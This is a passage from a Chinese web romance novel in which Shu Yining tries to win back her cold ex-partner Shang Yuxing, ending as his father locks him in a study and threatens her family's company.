擦肩而过的刹那间,舒以宁忍不住喊住他:“商聿行。” 她的目光不由自主地跟随着他。 商聿行面色如常,朝她微微一颔首:“以宁。” 接着,他又朝她身侧的男人礼貌打招呼:“你好。” 邢南走上前来靠着商聿行肩膀,大咧咧笑道:“哎呀,这不才来吗?别急着走啊。” 商聿行拿开邢南的手,目光没有停留在舒以宁身上,看着邢南:“不了,以后你这我就不常来了。” “别啊阿行。” 最后,商聿行又朝舒以宁点了点头,说:“希望我们不会再碰面,祝你新恋情顺利。” 舒以宁看着他离开的背影,蓦地,感觉有什么东西一点一点地坠落了下去。 压得她心脏难受。 这晚,舒以宁喝了很多,喝到几乎都要把内脏都吐出来。 许夏天去抢她手里的酒瓶,说什么也不准她再喝了。 邢南开车送舒以宁回翠湖,一路上看了中央后视镜好几次。 许夏天牢牢抱着舒以宁,不让她乱动,不停地安抚着她。 “好好好,我们到了家再喝啊。” “给你给你,都给你,我陪着你喝。” “哎哎哎,靠着我先睡一会儿吧。” “啊,乖,乖啊。不哭不哭。” 邢南闻言又看了下中央后视镜,这才发现舒以宁脸上已经有了明显的泪痕。 他叹了一口气,不知道能说什么好。 下车前,许夏天抬头问邢南:“商聿行那边真的不可能了吗?我看以宁……对他还是挺喜欢的。” 邢南私底下不是没有劝过,一想到商聿行坚决冷漠的态度,就有些头疼。他朝许夏天摇了摇头,露出一个爱莫能助的笑容:“不可能了。” 许夏天有些失望,看了眼已经睡着了的舒以宁,轻声唏嘘:“我从来没见过以宁这样,我还跟她说,你迟早追夫火葬场。” “不可能了夏夏,他们已经过去了。阿行已经往前走了,以宁不也找了新对象?” 许夏天一夜没睡,照顾着一会儿睁眼一会儿闭眼的醉鬼。 舒以宁总是睡一阵就醒过来,但酒没清醒,还嚷嚷着要继续喝。许夏天好不容易连哄带骗地将她哄睡着了,打个盹的工夫,这酒鬼就又醒了。 周而复始,磨得人力气都要被抽空。 到了凌晨四点钟。舒以宁似乎被困在梦境里,不知道是怎么样的梦,折腾得她不停蹙眉。许夏天看着不忍,伸手轻轻磨平她的眉头。 一直守到天蒙蒙亮,舒以宁的呼吸才终于平缓起来。 她真正地睡着了,进入了平静酣然的梦乡。 许夏天松了一口气,进浴室洗漱沐浴,爬回床上倒头就沉沉睡去。 第二天醒来,舒以宁坐在床边发了很久的呆。 意识回笼后的第一件事,当然就是发消息向那位正在接触中的音乐剧演员道歉,并表示自己目前的状态可能不适合进入下一段亲密关系中。 对方绅士地表示了没关系,给这段还未开始的感情体面画上了句号。 舒以宁又浑浑噩噩度过了几天。 一眨眼就到了十月底。 风更凉了一些,叶子也又黄了许多。香樟树倒是顶着满头的翠绿,枝繁叶茂,毫无半点萧瑟的样子。 秋意浓,秋天了,已经快到深秋了。 距离上次她与商聿行上山兜风,已经过去了大半个月。 舒以宁终于后知后觉地明白过来,她是陷入了与商聿行那段关系的戒断反应中。 第78章 在一个下着瑟瑟秋雨的清晨,舒以宁思绪仿佛被打通了一般,恍然大悟。 她可能不是非要和商聿行在一起。 但明明可以在一起,为什么不呢? 她爱商聿行。 她终于知道了这个困扰她好多天的问题的答案。 她爱商聿行,不仅限于喜欢,她是爱商聿行的,哪怕她无法给这份爱设定一个期限,哪怕可能下个月、下一天甚至是下一秒钟,她就不爱他了。 但这一分这一秒的舒以宁,很清楚地知道,她在爱着商聿行。 她想和商聿行在一起。 她不想就这么放弃他,也不想,就这么被他放弃。 ——她不相信他不爱她。 舒以宁吁了一口气,给许夏天打电话。 没打通。 继续打。 一直打到九点半,电话终于通了。 舒以宁平静道:“夏夏,我后悔了。” 她停顿了稍许,努力鼓起最大勇气:“我决定追回商聿行。” ** 邢南给舒以宁倒了一杯酒。 舒以宁轻声道谢。 邢南微微往后靠着卡座靠背,一只手臂搭在靠背边沿,黑眸盯着舒以宁的脸:“要我帮你,你就要自个儿先想清楚。别来个三天打鱼两天晒网,消磨的,可是我和阿行的兄弟情分。” 舒以宁仰头一口干完杯中烈酒,喝得太着急,忍不住咳嗽了几声。 许夏天忙一只手拍着她的后背,另一只手给她递水。 舒以宁喝了几口水,稍缓,抬眼郑重其事地看着邢南:“不会,我不会放弃的。南哥,你帮帮我,我一定要把商聿行追回来。” 邢南没直接答应。 他慢慢喝了会儿酒,又点了一根卡比龙细烟,安静地抽完。 直到许夏天用胳膊肘撞了他两下,以眼神催促。 邢南垂眸掐灭烟,笑了笑,说:“以宁,有个事我提前跟你说清楚,你得心里有数。” “南哥你说。”舒以宁有这个心理准备。 邢南与她交代心里话:“阿行这回可不是在跟你闹情绪,他是实实在在、确确定定地放弃了和你这段感情。我今天可以帮你,但恕我直言,你的成功率很低。阿行擅长从绊倒他的坑洼里汲取经验,同样的错,他不会犯第二次。这也就意味着——他如今视你为障碍,将和你之间的感情视作一次教训,很难在你身上栽第二次。” “你所做出的所有努力,很有可能都是徒劳无功。甚至,会让你显得不够体面。以宁,你确定还要试图挽回阿行吗?”他看着舒以宁的眼睛,问。 舒以宁坦荡荡与他对视,坚定道:“我从前追人,从来不怕丢面子,也从不计较得失。对别的男人,我尚且能做到这种地步,更何况是对商聿行。南哥,我想时至今日你应该也能明白,商聿行对我来说是不一样的,和我从前喜欢过的任何人都不一样。” 邢南:“你爱他?” 舒以宁不知道怎么回答,但也没有回避:“如果有哪段感情在我这儿是不一样的,那么迄今为止,就只有商聿行。我忘不了他,我不能没有他。” 她深吸一口气,求道:“南哥,求你帮帮我。” ** 商盛总裁办。 录音放完,最后一句结束在舒以宁声带带着颤抖的恳求声中。 “你看,这回是真的,以宁说不能没有你。”邢南一边说,一边观察商聿行的神色。 商聿行无甚反应,仿佛只是听了一幕事不关己的剧集。他抬起手腕看了眼腕表,平直的薄唇冷淡掀开:“九分钟,你浪费了我九分钟。” 邢南泄气般呼出一口气,抬步绕过办公桌,走到他座椅旁。 俯下身,朝他耳朵喊:“舒以宁!她说她爱你!她要追回你!她不能没有你!听见了没?” 商聿行往另一边侧了侧脑袋,淡漠地看了他一眼。 “那劳烦你转告她,不用在我身上白费力气了。” 邢南:“别啊兄弟。” 商聿行起身,语气无半分起伏:“我有会要开,你自便。” 邢南一个快步跟上去,亦步亦趋,试探道:“那我就帮你劝退了啊?真没半点念想了是吧?回头可别后悔啊!” 商聿行脚步没停,走出了总裁办,黑眸古井无波:“我没有必要和你虚与委蛇,阿南,你我兄弟之间不说虚话。替我回绝了罢,多谢。” “哎,你。”邢南停住脚步,看着他在江路南的跟随下进了电梯。 丝毫没有半点留恋。 也没有半分转圜余地的模样。 邢南双手叉腰,有点头大。 Karina从秘书处走出来,问邢南:“邢总,需要喝点什么吗?” “哦不用了,谢谢。”邢南想了想,对Karina说:“平时多劝劝你们总裁,以宁难得愿意对一个男人低头。” Karina问:“邢总是想为总裁和舒小姐讲和?” 邢南不跟她打哑谜:“两边都是朋友,以宁这边已经认清了自己的心,我不信阿行心里边就没一点以宁位置了。” Karina环顾四周,然后靠近了一点,悄咪咪道:“我们私底下建了个等待舒小姐和总裁复合的微信小群,您想加进来吗?” ** 舒以宁从邢南手上拿到了商聿行没有公开的一周行程表。 下周四飞深圳,连航班号都有。 那她一定得和他一起飞! 此外,邢南还拉了个同盟:“江野那儿我也打了声招呼,他和我一样,挺愿意帮你一把。阿行现在有点防着我,我几次喊他喝酒他都不出来。江野今晚回来,这次带了老婆孩子,明天晚上会在家里摆宴招待要好的朋友。” 舒以宁立马道:“我这就给江野哥打电话,明天我一定到场。” 邢南说:“人多不方便,当然,明晚你还是得来。多碰一次面,多一次机会。明天下午抽两小时打高尔夫,具体时间我让江野再通知你。” ** 位于市区的国际高尔夫球场是亚运会高尔夫项目比赛场地及训练场地,总共18洞,黑T总长7039码。 商聿行换好衣服,与楚江野夫妇一齐上了车,来到场地里。 打了两个洞,你来我往地挥杆,最终楚江野率先进了第一个洞。 第二个洞,商聿行一杆进洞。 楚江野笑着拍了拍他肩膀:“阿行好彩头啊,球要裱框留念吗?” 商聿行摆摆手示意不用。 当然,该给的小费自然少不了。 场内,转向灵活的电动高尔夫球车在狭窄的球道和场地中自由穿梭。商聿行内心不知为何,不由自主地多看了两眼电动球车。 又打了一会儿,比分有来有往。 一辆电动高尔夫球车在他们这道停下,一个扎着高马尾的熟悉身影从车上跳下来,扬起笑脸奔跑而来。 “嗨,商聿行,好巧啊,你也来打球吗?”舒以宁跑到他跟前,仰着净白的脸,乌眸澄澈清亮。 商聿行转过身,看了一眼楚江野。 楚江野佯装不知,笑呵呵打招呼:“啊以宁,这么巧?” “是啊江野哥,嫂子好。”舒以宁甜甜打招呼回应。 叶蘅顺势邀请:“以宁,晚上有时间么?来家里吃饭吧?” 舒以宁立马雀跃应下:“好啊!”仿佛事先毫不知晓。 商聿行安静地旁观他们这出戏,而后慢条斯理擦了擦手,对楚江野说:“晚上我有工作,就不过来了。” 其余三人顿时都愣了愣,齐刷刷将目光投向他。 楚江野嘴角抽了抽,“啊,怎么突然就又有工作了呢?” 商聿行淡淡道:“阿野,我拿你当兄弟。你这样做,对我造成了困扰。” 说完,他又看向舒以宁,目光是前所未有的疏离冷淡:“舒小姐,请自重。” 第79章 商聿行说不去,就当真没有去。 他在公司加班到晚上九点半,晚餐只简单吃了点沙拉,回到世纪城就先喝了两杯威士忌。 这些天来,他的睡眠状况并不好,每天入睡前都需要用足量的酒精来麻痹神经。 起初,他没打算再回世纪城这边。 他名下住处繁多,搬去距离商盛总部七公里远的阳光海岸住了一周。 戒断期不好熬,哪怕有安眠药与酒精的加持也常常无济于事。 所以,他难得对自己宽容了几分,搬回世纪城住。 搬回这个连空气中都尚且残留着她身上气息的地方。 尽管如此,他也是不打算再回头了。 舒以宁的爱太虚无缥缈,就像一阵风。 他在这张名为舒以宁的赌桌上,要不起。 他已经过了对爱情抱有幻想的年纪,不敢奢求会有人为他改变。更何况,这个人还是素以劣迹斑斑著称的舒以宁。 他无比清晰地发觉,他过往引诱她的一切手段,他的身体、他的花样、他不容置喙的控制,都只是他在这段感情里的虚张声势。 像一个小丑。 陪她玩这场以爱情为名的游戏。 如今他不想玩了。 他早已决定退场了。 烈酒入喉,浇得他痛苦得闭上了眼睛。 不要紧,总得有个过程。 一周不够就一个月,一个月不够就一年,一年不够就两年。 总有一天,他会把“舒以宁”这三个从他的生活中彻底抹去。 ** 舒以宁没落下西岸的工作,但连馆长都瞧出她状态不对劲,特意让蓝溪有空找她谈一谈心。 蓝溪消息灵通,笑着安抚馆长:“失恋受情伤了而已,过两天就好了,不是什么大事。” 馆长叹道:“我看她也不是一天两天了,你去劝劝她想开点。你们年轻人有话聊,开解一下她。这段日子她加班加的多,申请的两天年假我给她多加一天调休假。” 于是,蓝溪就来找舒以宁。 蓝溪没想与舒以宁深入聊商聿行的事,只简单讲馆长对她的担忧陈述了一遍。 陈述完,蓝溪说:“馆长一直都把你当孩子,你也别影响工作,别让她寒了心才好。” 舒以宁最近沉默了许多,闻言,也只是点点头:“我有分寸。” 蓝溪凝眸观察了她一会儿,站在旁观者角度云淡风轻地忠告:“以宁,永远不要为男人迷失,这不该是你该有的样子。忘了他,重新开始。” 舒以宁笑笑:“可是,我好像做不到。” 蓝溪并不认同,像是要说服她似的,语速不疾不徐,说出口的话稳如磐石:“你可以做到的。” 舒以宁靠在椅背上,惨淡一笑:“我做不到,溪姐。” 蓝溪起身,居高临下看了她一眼,“那你太让我失望了,以宁。” 舒以宁这回考虑得足够清楚:“溪姐,说实话,我对我自己也很失望。我以前不懂什么是爱,也不懂爱是需要回应的。我现在学着在懂。我不会耽误工作,至于私人时间,我也不怕在商聿行身上被耽误。” ** 舒以宁请了周四周五两天年假,谢绝了馆长好心给她的周一调休假。 下午两点半的航班,周四的公务舱不拥挤、尚有几个空位,但商聿行旁边靠过道的座位坐着江路南。 舒以宁今天穿奶茶色针织上衣,下半身是杏色及膝裙子。 她的美向来明艳大气,带着攻击性;这么一打扮,顿时软萌了不少。 舒以宁自个儿十分满意。 商聿行一上飞机,她就扬起笑脸朝他打招呼,并毫不意外地遭到了对方充耳不闻的忽略。 起飞前,舒以宁询问江路南方不方便换个座位。 江路南也想帮她一把。 他不敢去看旁边人的脸色,硬着头皮应承下来,迅速站起来让了位。 舒以宁兴冲冲坐下,系好安全带,朝里面的商聿行热情道:“商聿行,好巧啊,你也去北京吗?” 商聿行冷着一张脸,笔电屏幕亮光照在他冷隽的眉眼与直挺的鼻子上,肌肤显得有些剔透。 舒以宁心猿意马。 但两小时航程中,任她如何和他说话,他都没有搭理。 舒以宁甚至伸出小白鞋去蹭了一脚他的裤腿,换来的也只是男人冷漠至极的一眼抬眸。 他对她说了唯一一句话:“舒小姐,请你停止骚扰,我可以要求换座。” 舒以宁顿时泄了气,安安静静地在他身边待着。 飞机抵达大兴机场。 舒以宁站在廊桥等他,等来男人一句冷冰冰的“借过。” 出了机场,舒以宁提前预约了接机服务,一上车就扫了车上的支付宝二维码。 “师傅,给我跟紧前面那辆尾号三个5的迈巴赫。两千块,转过去了。” 师傅一听就精神了,操着一口北京话吹了两句牛逼,油门踩下去紧紧跟着前面的迈巴赫。 迈巴赫一路疾驰,进了朝阳区农展馆北路8号。 舒以宁坐的车被物业拦在了外面,连他的衣角都没能摸到。 舒以宁下了车,站在玻璃幕墙与视野开阔的湖景中央,掏出手机打商聿行电话。 对面一接通,舒以宁就张大嘴巴委屈哭嚎:“歪商聿行,外面好黑好冷啊。” 她话音刚落,那头传来江路南礼貌的声音:“舒小姐,抱歉,总裁让我和您说一声,以后这个电话您打不通了。” 舒以宁一开始就没真哭,只是嚎叫两声,闻言,立马恢复了正常:“他要拉黑我吗?你让他自己和我说。商聿行,商聿行?” 电话被挂断了。 舒以宁再打,听到的就只剩下“嘟嘟嘟”的忙音。 她被拉黑了。 舒以宁叹了一口气。 她以为商聿行最多也就是不见她,没想到他真能做得这么绝,竟然真把她给拉黑了。 舒以宁又在原地守了一个多小时,最后在月明星稀的夜空下垂头丧气,就近找了家酒店住下了。 三天后的周六晚上,回去的航班上,舒以宁没有遇上商聿行。 显然,他已经猜到她拿到了他的航班号,并且在临出发前改签了。 邢南也从Karina那里得知秘书处整顿,行程表信息已经不能通过秘密小群流出来了。舒以宁沮丧了一阵,只好去找肖岳。 肖岳对她说抱歉,说自己无能为力,但含笑说道:“舒小姐,如果您真的诚心,不妨坚持久一些。据我所知,总裁短期内不会开始新的感情,董事长那边也不会给总裁指定联姻对象。” 舒以宁眸中重燃两分希望。 肖岳摇头笑笑,说:“只是任何事情都不是努力就会有结果,您要做好这个心理准备。” 他给舒以宁提供了商聿行下周二名流社交宴会的私人行程。 由周隆周老爷子借着次子订婚的名义举办,邀请政商界与艺术界名流,巩固人脉。 舒以宁不在邀请之列,但肖岳知道,对于她而言要进入一场宴会并非难事。她只需找一个收到邀请函的男人,作为他这场晚宴的女伴。 肖岳:“舒小姐,我个人建议,您在男伴选择上最好避免出现差错。”千万别给他们总裁造成她已经找了新对象的误解。 考虑到肖岳的中肯建议,舒以宁找上王樾的兄长王荆请求带她出席。 王荆得知她是要追回商聿行,毫不犹豫就答应了。 第80章 周二社交宴。 商聿行今天喝得有点多,与秦峥一块儿,上了三楼露台散酒。 夜风习习,吹散了几许酒气。 秦峥啪嗒一声燃起打火机点上烟,舒爽地吐出一口烟雾,笑他:“今天喝得不少啊,怎么,借酒浇愁?” 以商聿行的身份地位,他要是不想喝,可没有人敢灌他。 商聿行眺望远处的重重山色,淡漠开口:“兴致好,多喝了两杯。” “呵,你这叫兴致好?真该让阿南来给你演示演示什么才叫真正的兴致好。”说完,秦峥自个儿也顿了一下。 ——邢南近期可不像是兴致好的样子,这位总是乐呵乐呵着没什么心事的大少爷好像也已经很久没有真正开怀过了。 秦峥站到栏杆前,与商聿行并肩望出去,吸了口烟,慢悠悠吐出来。站了一会儿,他说道:“以宁还是这么漂亮。” 商聿行没开口,仿佛只是听见了一阵风。 “要是没有原则性问题,就饶了她这回罢,我看她是真心喜欢你。”秦峥劝道。 是有原则性问题。 商聿行没说。 至于真心,她对哪一任不是真心?她的真心,向来都是有保质期的。 商聿行不开口,秦峥也就不好多说什么。他陪着站了一会儿,侧过身倚靠到露台栏杆上时,才看见舒以宁站在通往露台的那个东边门框里。 她手里握着香槟杯,站在那里望着他们这边,明艳动人又楚楚可怜。 秦峥叹了口气,拍了拍商聿行肩膀,“我先下去了,你们好好谈一谈。” 他朝舒以宁微微颔首,往另一侧的门走了出去。 秦峥一走,偌大的露台就只剩下男人肩宽腰窄的修长背影。 舒以宁徐徐往前。 只是她还没有挪到他身侧,男人骤然转过身来。 漆黑深眸漠然扫过她,平直的薄唇轻启:“舒小姐。” 嗓音疏离冷淡。 舒以宁脚步一顿,再也抬不起来了。 她一瞬不瞬地望着他,捏紧了手中的酒杯,“商聿行,我知道错了,你原谅我好不好?你想怎么弄我都行,我随你弄,你别不理我了。” 男人听了这话,并无半点反应,冷漠的眸子甚至没有朝她脸上定一定。 舒以宁顿时好难过,口不择言道:“你想结婚是不是?我,我可以,我可以的,你再给我点时间,我做好心理准备我就,我就……” 后半句“我就答应和你结婚”却怎么都说不出口。 她想稳住他,用这种口是心非的方式,挽回他,留下他。 (′з(′ω`*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)而男人似乎并不在乎她后半句话说不说得出口,清冷道:“舒小姐,我并没有结婚考量。” 一句否认的拒绝,就给她判了刑。 他没有多留的打算,好似与她站在同一块露天的区域里都能令他心生不快。说完这句话,他就抬步走向另一侧的门。 舒以宁转过身看着他远去的背影,眼眶不觉有些湿润:“商聿行,你能不能……别这么对我。” 男人的声音冷酷得犹如从地狱传来:“舒小姐,如无必要,我们私下最好不要再见面了。” 他脚步未停,没有半分犹豫地从她刚进来的那扇门走了出去。 从始至终,没有留给她一个眼神。 他的背影很快消失在门口,徒留一片空荡。 舒以宁死死盯着那扇门,再也没见到那角熟悉的黑色西服返回。 他的决绝,冷淡却坚毅,毫无转圜的余地。他果决地给他们这段关系判了死刑,不愿意再给她留任何的机会,像一个冷酷的独裁者。 舒以宁不由摸了摸自己的心脏位置,一阵一阵的抽痛。 原来,被拒绝,被放弃,是这样的一种感觉。 “啊,被抛弃了啊。” 周嘉皓不知道什么时候过来了。 他正倚着门框,手臂很随意地搭着,笑眯眯地打量她。 语气轻飘飘的说着风凉话,听着令人心里头不大舒服。 “舒以宁,你真可怜。”他补了一句。 他是特地来看她笑话的,自然不会多客气。 舒以宁收起脸上的难过,用手背轻轻擦了擦眼睛,转身就走。没有回头看他半眼,仿佛他这人就跟不存在似的,面无表情地往外走。 周嘉皓勾了下唇角,依旧是那副看好戏的神情,叫住她:“喂,舒以宁。” 他说:“你不是想追回商聿行么?我给你想个法子吧。” 舒以宁停下了脚步。 哪怕她依旧没有回头,周嘉皓也还是露出了一个稳操胜券的笑容:“和我复合。” “商聿行绝对咽不下这口气,只要你和我复合,我保管他不会再对你视而不见。”他走近她,略微低下头靠近她耳侧,循循善诱。 听起来着实是一件引诱力很大的利诱。 但,舒以宁又往前走了两步。 周嘉皓并不意外,将微微低下的头重新抬起来,饶有兴味地看着她的背影。 下一秒,舒以宁转过身来,不躲不避地看着他的眼睛。 周嘉皓极为绅士地做了一个请的动作,笑道:“你有的是时间考虑,我等你。” 舒以宁没走,安静地看着他,眸光很轻很淡,脸上也无甚多余表情。 周嘉皓面上的笑容无懈可击,好整以暇与她对视。 她的眼睛很漂亮,眼型弧度微微上挑,是一双似醉非醉的桃花眼。曾几何时,他就是在这双眼里迷失、沉沦,无法自拔。 周嘉皓蓦地回忆起他们还在一起时,共同在琵琶湖看那场烟火。夜空被点亮,她这双漂亮的桃花眼里装满一朵朵硕大却短暂的烟花,漫天星辰为之逊色。 那夜琵琶湖的花火,就像他的爱情,盛大璀璨,稍纵即逝。 事到如今,好像变成了他一个人的独角戏。 但是没有关系,他还是愿意再拥有一场烟火,哪怕再一次被丢下、被抛弃。 他忘不了,他不介意。 周嘉皓脸上的笑容更意味深长了一些,像戴着一张天衣无缝的面具。 舒以宁看着他,终于启了红唇,嗓音低语缓慢:“周嘉皓,我一直欠你一句道歉。” 周嘉皓几不可察地蹙了一下眉头,但脸上笑容如故。 舒以宁没有移开目光,注视着他:“虽然一开始我确实是为了商聿行那件事,亡羊补牢,去接近的你;不过,在相处的过程里,我也确实被你吸引,那个时候我确确实实有一段时间是为你心动的,是全心全意的喜欢,与任何人都没有关系。” 她没有停顿,目光温和淡然,语气也没有什么起伏:“和你在一块儿的那段时间里,我不是没有得到过快乐。你是一个很好的人,和外界传言不一样,花花公子只是你的伪装,你真的是一个很好很温柔的人。以前说的那些刺你的话,都是我故意说的,报复你对我的报复。如果时间能回到从前,我可能会坚定不移地选择商聿行,但我依旧不会后悔和你谈了这样一场曾经美好的爱情,永远不会后悔。” 周嘉皓愕然,脸上的笑容面具简直快要维持不下去。他勉力支撑,直到舒以宁不闪不避地盯着他的眼睛,说出接下来两句话—— “我那时候太年轻,没有处理好这段感情,我真心实意向你道歉。对不起,皓皓。” 周嘉皓目光微微一颤,唇角的笑容再也坚持不住。 舒以宁的目光很淡,很平和,和她的语气一样平铺直叙。 却给他带来一阵心悸。 周嘉皓左心房难受得紧,仿佛被什么东西给攥住了一般,一时间连脑袋都变得恍惚起来。他找了好一会儿才找回自己的声音,颤抖着翕动嘴唇,问她:“凭什么是商聿行?” 凭什么是商聿行,凭什么是他,让她追逐在不同男人身上的目光停留下来。 凭什么,凭什么。 舒以宁惨然一笑,叹道:“他不一样,我好像真的爱上他了。” 哪怕,她至今不懂到底什么是爱。 周嘉皓好想嘲讽她一句——可惜,商聿行现在不要你了。然而,他动了动嘴唇,如何都无法将这句话再宣之于口。 舒以宁却已经从他眼神中看出了他的意思,认命般闭了闭眼,笑道:“是啊,他抛下我了,我舒以宁头一回在感情里跌了跤,被人给抛下了。是我自作自受,这是我的报应。” “别说了,你别说了。”周嘉皓已经不忍再听下去。 “舒以宁,”他喃喃,仿佛是对她说,有更像是对自己说,“我们之间的恩怨,结束了,彻底结束了。” 他的不甘,他的愤恨,他疯狂背后压抑不住的爱,都在这儿画上一个休止符吧。 再下去,也没有什么意思了。 他在酒吧为商聿行精挑细选的那首孙燕姿的歌,在这一刻,徘徊在脑海里迟迟无法散去:“爱情是流动的,不由人的,何必激动着要理由……” 就终结在这里吧,他不想再做一个歇斯底里的疯子了。 就到这里吧。 舒以宁,我们完完全全,结束了。我放过你了,我也放过我自己了。 周嘉皓先行走出去,擦肩而过的刹那间,终究还是给她留了一句忠告: “小心宋正阳,他似乎和你不是一条心。”—— 作者有话说:追夫火葬场稍微追一下就可以了,下章开始和好[垂耳兔头]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-85 第81章 舒以宁百折不挠,又去商盛总部、世纪城楼下以及各个宴会堵过他几次。 可惜,皆无成效。 一筹莫展。 连许夏天都开始劝她:“以宁,要不你就放弃吧。他铁了心不回头,你又能有什么办法呢?” 舒以宁摇摇头,前所未有的坚决:“只要我还喜欢他一天,我就不会放弃。” “那你要是一年两年,五年十年都没办法不喜欢他,你要在他身上一直浪费着?” “二三十年我都不后悔,只要我还喜欢他。”舒以宁没法保证自己还能喜欢商聿行多久,但是:“我真的好喜欢他啊,夏夏。” 她的眸光暗淡下来,仿佛真在为二三十年而发愁。 许夏天拿她没办法,狠狠心问出一个致命的问题:“那他要是结婚了呢?” 舒以宁眸光顿时一颤,仿佛从未设想过这个可能。 许夏天看得有点难受,伸开手臂抱紧舒以宁,劝道:“以宁,我好心疼你啊。放弃吧,我们不要商聿行了,好不好?” 过了很久,舒以宁才露出一个惨淡的笑容:“不行啊夏夏,我现在已经没办法喜欢上别人了。” 她当然可以把商聿行抛于脑后。 她当然可以重新找个男人睡。 她当然可以回到纸醉金迷的糜烂生活中去,在那里放任自己沉沦。 但是,商聿行已经变成了她心口、她脑海中挥之不去的存在。 她已经回不到以往唾手可得的快乐中了。 她已经不是沉醉于灯红酒绿、声色犬马与享乐刺激的那个舒以宁了。 ** 邢南已经分不清这是他第几次劝商聿行了。 他用手中的酒杯,碰了碰商聿行的酒杯,叹道:“我算是摸清楚你的套路了,你不仅需要一个赶不走的朋友,就是我,也需要一个赶不走的恋人。但阿行啊,没有人是不会走的,你要想清楚。” 商聿行一如既往地淡声道:“我早说了,我和她不会再有以后了。” 邢南接连叹了好几口气,说:“以宁追你都追到这份上了,你究竟还想怎样?阿行,你跟我透个底,我好给她指个方向啊。你告诉我,究竟如何才能消气,好不好?” 商聿行如同铜墙铁壁:“没有生气,桥归桥路归路。阿南,说实话,我是真的累了。” 邢南给他添酒,缓缓道:“阿行,你太骄傲了。无论是当年的方朔,还是现在的以宁;友情,还是爱情,你都太骄傲了,人家都一而再来向你低头……你这样,明明是不肯放过自己。你这样,迟早要后悔的,有的苦头吃。” ** 翌日,古北公馆。 商聿行一边解下袖口,一边问旁边候着的佣人:“母亲呢?” “夫人去北京参加卡地亚的珠宝晚宴了。” 时虞向来不喜社交,这些年不知拒掉了多少高奢珠宝的邀请。除了拍品以外,珠宝、高定的采购方面,品牌SA都会专程为了她而上门服.务。 是以,商聿行一下子就猜中了:“这活动有肖寂?” 佣人点点头表示是的,说:“听说还是夫人通过关系帮他拿到的时尚资源。” 商聿行抬眸,不由勾了勾唇,“父亲气得不轻罢?” 佣人闻言,自是立马闭紧了嘴巴。 商聿行将摘下的袖扣放入托盘上的小盒子中,步履轻快地走过客厅,踏上了旋转楼梯。他近日心情不佳,倒是难得一回来就听见了商砚廷生气的好消息。 商砚廷生气,他自然就开心了许多,一时间刻意忽略了他母亲是为肖寂去的北京。 忽略肖寂,也就不会想起舒以宁三个字。 然而,等他敲门,一走进商砚廷的书房,就从商砚廷口中听见了带着舒以宁的问询。 “你和以宁吵架了?”商砚廷不急不缓地问道。 商聿行微微扬起的唇角顿时归位,刹那间抿成了一条直线。 商砚廷见他这副模样,就明白了个大概。他笑了笑,从办公桌后面起身,走到商聿行身侧。 他长得很高,比商聿行都还要高上五公分,再加上经年沉淀的一身气势,商聿行一下子就被压得略显青涩。 商砚廷敛眸看着他,居高临下道:“连自个儿的女人都哄不住,阿行,你太让我失望了。” 商聿行从青春期开始就致力于对抗他的父亲,练就满身反骨,哪怕到了如今也不例外。他当即反唇相讥:“我确实比不上父亲,除了强人所难,还有海阔的容人之量。” 他话音一落,书房内遽然静谧下来。 落针可闻。 过了一会儿,商砚廷发出一声冷笑。 商聿行全然不惧,抬眸与他对视,无半点退避之意。 商砚廷唇角笑容幽幽,眸中也带着几分玩味:“阿行,你终归是我的儿子,我本想对你网开一面,看来——” 他眸色渐冷,唇边笑容不改:“还是我太仁慈了。” 商聿行笑了笑,看着他:“看来董事长想给我上一课?” 商砚廷意味深长地看了他一会儿,拍了拍他的肩膀,笑道:“别急,等着。” 商聿行转过身,看着商砚廷提步离开书房的背影,眉头微微蹙起。 下一刻,他看着管家走进来朝他鞠了一躬,然后退了出去。 书房的门被关上了。 与此同时,办公桌上的座机响了起来。 商聿行不知道商砚廷葫芦里究竟卖得什么药。 他没有第一时间走过去接电话,看着响声不止的座机,心中疑虑更甚。 但他这么多年身居高位不是白练的,他坐得住。 久无人接听,座机铃声停歇了下来。 两秒钟过后,铃声重新响起。 商聿行这才缓步走上前,拎起座机听筒。 对面的人一直没有说话,他同样没有说话。 时间一分一秒流逝,足足五分钟过后,对面开口了:“不错,很沉得住气。” 商砚廷用十分赞许的语气评价道。 商聿行阴阳他:“不敢居功,得益于您的教导。” “呵。”商砚廷笑了一声,说:“我给你最后一次机会,向我认错,阿行。” 商聿行淡淡道:“我轻易认了错,不就辜负了您特意搭的戏台?” 商砚廷不无感慨道:“谈过恋爱就是不一样,父子间说个话都能拉扯了。” 商聿行没接话。 商砚廷笑了笑,切入整体:“颠覆一家舒住这种规模的公司,对于我来说,可能不会太轻松,但也并不困难。你说,我要是以此为条件找以宁谈一谈她的婚姻大事……” 他笑着止住了话。 商聿行忍不住笑了,漫不经心道:“就这么想让她做你儿媳妇?” 商砚廷笑道:“我给你上这一节课,你竟然会以为我要是找以宁谈话,会要她嫁给你?阿行,我是该笑你太天真呢,还是太幼稚?” 商聿行依旧不以为意:“不管嫁给谁,舒住而已,您又怎么知道她会受您威胁?” 毕竟没有人比他更清楚,当初舒以宁会愿意接受他的协议,重点在于,协议的内容里有他自己。 商砚廷笑了笑,没有直接与他谈论这个话题,转而说起: “舒跃章的失踪以及他私生子的事,外面还没有多少人知道吧?秦延昭和许夏天,也被你公关掉了?” “莫家搞学术,学术界不是一片净土啊。莫昶给他孙子莫谦旬铺的那条路,当中耐人寻味的点不少。还有——” 他故意停顿了一会儿,声音里带着笑:“舒跃章还没有消息吧?你说,以宁要是知道这当中有你的手笔……嗯?” 商聿行眉头渐渐紧蹙,眼神也冷了下来:“你究竟想怎样?” 电话另一端,商砚廷胜券在握,笑道:“当然是让你体验下,我曾经的心情了。这个世界上,只有感同身受,才最具有教育意义。你说,我是要她嫁给肖寂,还是嫁给你的好兄弟——邢南呢?” 商聿行握紧听筒,五指因用力而微微泛白。 商砚廷没有给他开口的机会,笑着话别:“享受你煎熬的24小时吧,明天见。” 话音一落,电话另一头只剩匆匆忙音。 商聿行几乎摔下座机听筒,一刻不停地掏出手机。 没有信号。 一格都没有。 他也终于明白过来,那阵忙音不是因为对方挂了电话,而是信号就被屏蔽在了这一刻。 他当即跑向书房大门,奋力拍打怎么也打不开的书房门:“商砚廷!” ** 舒以宁已经消沉了好几天。 “他现在见都不肯见我,都不肯给我一个赎罪的机会。” 她瓷白的脸趴在桌子上,像极了少女漫里为爱所困的小女孩。 一点都没了当初海后的姿态。 追夫火葬场的滋味,她现如今算是真的尝到了。 